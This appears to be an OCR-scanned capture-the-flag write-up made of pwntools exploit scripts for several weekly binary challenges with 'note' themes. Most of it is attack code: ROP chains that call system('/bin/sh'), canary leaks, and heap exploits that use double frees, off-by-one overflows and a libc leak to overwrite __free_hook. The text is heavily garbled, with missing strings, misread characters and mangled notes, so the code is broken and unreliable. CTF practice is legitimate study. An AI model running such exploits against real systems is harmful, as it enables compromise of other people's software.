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from pwn import
,arch

process(fpath)

elf context.binary ELF(fpath)
libc =ELF(
r.sendline( 0x20)
ub4(r.recvuntil( )[-6:].1just(8, )) +0x288f6-0x25000
5 (libc.address ))
poprdi=0x401312

sys_addr=1ibc.symbols[ ]
(sys_addr))

(libc.search( ))
(sh_addr))
2+p64(0)+p64(poprdi+l)+p64(poprdi)+p64(sh_addr)+p64(sys_addr)

r.sendline(payload)

r.interactive()

r remote( ,38991)
elf context.binary ELF(fpath)
libc =ELF(

r.sendline( 0x20)

libc.address ub4(r.recvuntil( )[-6:].1just(8, )) 0x288f6 - Ox25000
print( 5 (libc.address ))

canary=0x9999999999999900

poprdi=0x401362 1

sys_addr=1libc.symbols| ]
(sys_addr))
(libc.search(
(sh_addr))

[0xebc7e, Oxe6c81, Oxe6c84]
one[1]+1ibc.address
0x28+p64(canary)+p64(0)+p64(one_addr)
payload.ljust(0x868, )
p64(canary)

r.sendline(payload)
r.interactive()

test_your_nc




nc chuj.top 50026
cat flag
test_your_gdb

from pwn import
fpath
r process(fpath)

elf context.binary ELF(fpath)
payload=p64(0xb0361e0e82941147)+p64(0x8cO9e0c34ed8aba9)
, payload)

a=u64(r.recv(8))

canary=u64(r.recv(8))

print( 5 (canary))

backdoor 0x401256

payload 24 + p64(canary)+p64(0)+p64(backdoor)
r.sendline(payload)

r.interactive()

Level - Week2

oldfashion_note

from pwn import

process(fpath)
elf = context.binary = ELF(fpath)
libc =ELF(
import hashlib,string,itertools
def crack_hash(hashcall, res, length, tailer):
dateset string.ascii_lowercase string.ascii_uppercase string.digits
for item in itertools.product(dateset, repeat=length):
tmp ("".join(item) tailer).encode()
htmp = hashcall(tmp).hexdigest()
if htmp res:
print(tmp.decode())
return tmp.decode()
Proof Of_Work():
r.recvuntil(
ti r.recvline()[:-1]
rsha256 = ti.split( )[1].decode()
header=crack_hash(hashlib.sha256, rsha256, 4,
r.sendline(header)

_add(idx, lenn, ddd):
r.sendlineafter(
r.sendlineafter(




r.sendlineafter( 5 (lenn))
r.sendlineafter( ,ddd)

def edit(idx, ddd):
r.sendlineafter(

r.sendlineafter(

r.sendlineafter(
def _remove(idx):
r.sendlineafter(

r.sendlineafter(

def view(idx):
r.sendlineafter(

r.sendlineafter(

add(9,0x99,
add(1,0x909,

for i in (7):
_add(7+i,0x90,
for i in (7):

_remove(7+1)

remove(0)
view(0)

main_arna_96 ub4(r.recvuntil( )[-6:].1just(8,
print( 5 (main_arna_96))

malloc_hook_s = libc.symbols|
free_hook_s libc.symbols|[
system_s libc.sym[

malloc_hook_addr (main_arna_96 & OxFFFFFFFFFFFFFO00)
libc_base malloc_hook_addr - malloc_hook_s

free_hook_addr libc_base free_hook_s
libc_base system_s
’ (libc_base))
5 (free_hook_addr))
(system_addr))

add(2,0x60,
add(3,0x60,
add(4,0x60,

for i in (7):
_add(7+1i,0x60,
for i in (7):
_remove(7+1)
remove(2)
remove(3)
remove(2)
for i in (7):
_add(7+1i,0x60,

add(3,0x60,p64(free_hook_addr))
add(4,0x60, )
add(5,0x60, )
add(6,0x60,p64(system_addr))

(malloc_hook_s

OXFFF)




emove (4
r.interactive()

Level - Week3

changeable_note

1. FIAHER B Wigunsorted bin il fast bin E&
2. io_file_leakiitg&libc
3. HEvE Mg free hook

from pwn import

elf = context.binary = ELF(fpath)
libc =ELF(

import hashlib,string,itertools
def crack_hash(hashcall, res, length, tailer):
dateset string.ascii_lowercase string.ascii_uppercase string.digits
for item in itertools.product(dateset, repeat=length):
tmp ("".join(item) tailer).encode()
htmp hashcall(tmp).hexdigest()
if htmp res:
print(tmp.decode())
return tmp.decode()
Proof_Of_Work():
r.recvuntil(
ti r.recvline()[:-1]
rsha256 = ti.split( )[1].decode()
header=crack_hash(hashlib.sha256, rsha256, 4,
r.sendline(header)

_add(idx, lenn, ddd):
r.sendlineafter(
r.sendlineafter( 5 (idx))
r.sendlineafter( 5 (lenn))
r.sendafter( ,ddd)
_edit(idx, ddd):
r.sendlineafter(
r.sendlineafter(

time.sleep(0.1)

r.sendline(ddd)

_remove(idx):

r.sendlineafter(
r.sendlineafter(

_view(idx):
r.sendlineafter(
r.sendlineafter(

pwn():

_add(e,0x60,
_add(1,0x8,
_add(2,0x8,
_add(3,0x60, Ox28+p64(0x41))
_add(4,0x60,




—add(5,0x60,

B CIED)
_edit(1, Ox18+p64(0x51))

_remove(2)

_edit(o, OX68+p64 (0x20+0x20+0x70+0x71))
_remove(1)
_add(1,0x30,

_add(2,0x40, 0x18+p64(0x71)

_add(3,0x60, )

payload 0x33 p64 (0xfbad3887) p64(0)*3

_add(6, ox60, payload)

libc.address ub4(r.recvuntil( )[-6:1.1just(8, )) -libc.sym[
libc.address (libc.address)

print( 5 (libc.address))

_add(7, ex190,

_add(8, ox190,

_remove(7)

free_hook_addr libc.symbols|

system_addr libc.symbols| ]

print( 5 (free_hook_addr))

print( 5 (system_addr))

_edit(5, Ox68+p64(0x110)+p64(free_hook_addr-29)+p64(free_hook addr-29))
_add(7,ex100, )

_remove(4)

print( 5 (free_hook_addr))
_edit(3, Ox68+p64(0x71)+p64(free_hook _addr-16))
_add(8,0x60, )
_add(9,0x60,p64(system_addr))

_remove(8)

r.interactive()

while True:
try:
r = process(fpath)

pwn ()
break
except:
r.close()

elder_note

1. fastbin doublefree #4i& 3 & & i 5 H 4 unsortedbinZ it #Elibc
2. f#Funsorted bin 7£__free_hook#i 5 A 7f
3. {#iffastbin doublefree i free hook

from pwn import




r process(fpath)
elf context.binary ELF(fpath)
libc =ELF(

import hashlib,string,itertools

def crack_hash(hashcall, res, length, tailer):

dateset string.ascii_lowercase string.ascii_uppercase

for item in itertools.product(dateset, repeat=length):

tmp ("".join(item) tailer).encode()
htmp hashcall(tmp).hexdigest()
if htmp res:
print(tmp.decode())
return tmp.decode()
def Proof Of Work():
r.recvuntil(
ti r.recvline()[:-1]
rsha256 = ti.split( )[1].decode()
header=crack_hash(hashlib.sha256, rsha256, 4,
r.sendline(header)

def _add(idx, lenn, ddd):
r.sendlineafter(
r.sendlineafter( 5 (idx))
r.sendlineafter( 5 (lenn))
r.sendafter( ,ddd)

def edit(idx, ddd):
r.sendlineafter(
r.sendlineafter(

r.sendlineafter(
def _remove(idx):

r.sendlineafter(

r.sendlineafter(

def _view(idx):
r.sendlineafter( )
r.sendlineafter( (idx))

add(9,0x60, Ox58+p64(0x71))
add(1,0x60, Ox58+p64(0x71))
add(2,0x509,

add(3,0x60,

remove(0)

remove(1)

remove(0)

add(0,0x60,
add(1,0x60,
add(4,0x60,

add(5,0x60,p64(0)+p64(0xd1))
remove (1)
view(1)

main_arna_96 = u64(r.recvuntil( )[-6:].1just(8,

print( 5 (main_arna_96))

malloc_hook_s libc.symbols| ]

malloc_hook_addr (main_arna_96 & OxFFFFFFFFFFFFFO00)

(malloc_hook_s

string.digits

OXFFF)




free_hook_addr libc_base +libc.symbols

libc_base libc.sym[
) (libc_base))
5 (free_hook_addr))
(system_addr))

remove(5)
add(5,0x60,p64(0)+p64(0x71)+p64(free_hook addr-29)+p64(free_hook addr-29))
add(1,0x60, )

remove(0)
remove(1)

remove(0)

add(0,0x60,p64(free_hook_addr-16))
add(1,0x60, )

add(6,0x60, )
add(7,0x60,p64(system_addr))
remove(1)

r.interactive()

sized_note

off by one

from pwn import

process(fpath)
context.binary ELF(fpath)
ELF(

import hashlib,string,itertools
def crack_hash(hashcall, res, length, tailer):
dateset string.ascii_lowercase string.ascii_uppercase string.digits
for item in itertools.product(dateset, repeat=length):
tmp ("".join(item) tailer).encode()
htmp = hashcall(tmp).hexdigest()
if htmp res:
print(tmp.decode())
return tmp.decode()
Proof_ Of Work():
r.recvuntil(
ti r.recvline()[:-1]
rsha256 = ti.split( )[1].decode()
header=crack_hash(hashlib.sha256, rsha256, 4,
r.sendline(header)

_add(idx, lenn, ddd):
r.sendlineafter(
r.sendlineafter(




r.sendlineafter(
r.sendafter(

def edit(idx, ddd):
r.sendlineafter(
r.sendlineafter(
time.sleep(0.1)
r.sendline(ddd)

def del(idx):
r.sendlineafter(

r.sendlineafter(

def view(idx):
r.sendlineafter(

r.sendlineafter(

for i in (7):
_add(7+i, oxf8,

for i in (7):
_del(7+1)

del(9)

edit(1, oxfo p64(0x200))

del(2)

for i in (7):
_add(7+i, oxf8,

add (9, oxfs, )

view(1)

main_arna_96 = u64(r.recvuntil( )[-6:].1just(8,

print( ’ (main_arna_96))

malloc_hook_s libc.symbols| ]
malloc_hook_addr (main_arna_96 & OXFFFFFFFFFFFFFO00) (malloc_hook_s & OxFFF)
libc_base malloc_hook_addr - malloc_hook_s
free_hook_addr libc_base +libc.symbols|
libc_base libc.sym[
5 (libc_base))
5 (free_hook_addr))
(system_addr))

add(5, 0x20,

del(5)

edit(1, p64(free_hook_addr))
add(6,0x20, )
add(7,0x20, p64(system_addr))

del(6)
r.interactive()
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